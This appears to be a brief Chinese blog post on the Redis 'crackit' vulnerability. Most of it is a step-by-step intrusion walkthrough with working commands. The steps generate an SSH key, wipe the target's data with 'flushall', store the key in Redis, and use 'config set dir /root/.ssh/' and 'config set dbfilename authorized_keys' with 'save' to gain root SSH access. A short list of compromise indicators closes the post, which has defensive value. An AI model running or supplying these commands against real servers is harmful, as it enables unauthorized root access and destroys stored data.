Redis crackit漏洞

参考http://www.aneasystone.com/archives/2015/11/redis-crackit.html

当服务器上的Redis设置允许用户远程访问时就存在了风险,当外来者破解了你的Redis密码后就可以通过Redis免密码登录远程服务器

  • 远程登录redis命令:
redis-cli -h ip -a password

入侵

1.入侵前准备

  • 本地生成公钥ssh-key:
    $ ssh-keygen -t rsa
  • 加换行生成文件foo
    (echo -e "\n\n"; cat id_rsa.pub; echo -e"\n\n") > foo

2.清空redis缓存

flushall

3.将公钥写入redis

$ cat foo | redis-cli -h ip -a password -x set crackit

4.登录redis

$ redis-cli -h ip -a password
ip:port> config set dir /root/.ssh/                       固定位置(redis没有创建文件夹的权限)
ip:port> config get dir                                   查看位置
ip:port> config set dbfilename authorized_keys            把文件存进指定文件
ip:port> save

如何判断是否中枪

  1. 缓存被莫名清空
  2. 缓存中多了一个 crackit (或其他类似的)键
  3. 使用 redis 的 config get dir 命令检查是否指向了 /root/.ssh
  4. /.ssh/authorized_keys 文件有被篡改的痕迹
  5. 服务器上运行着不明进程

你可能感兴趣的:(Redis crackit漏洞)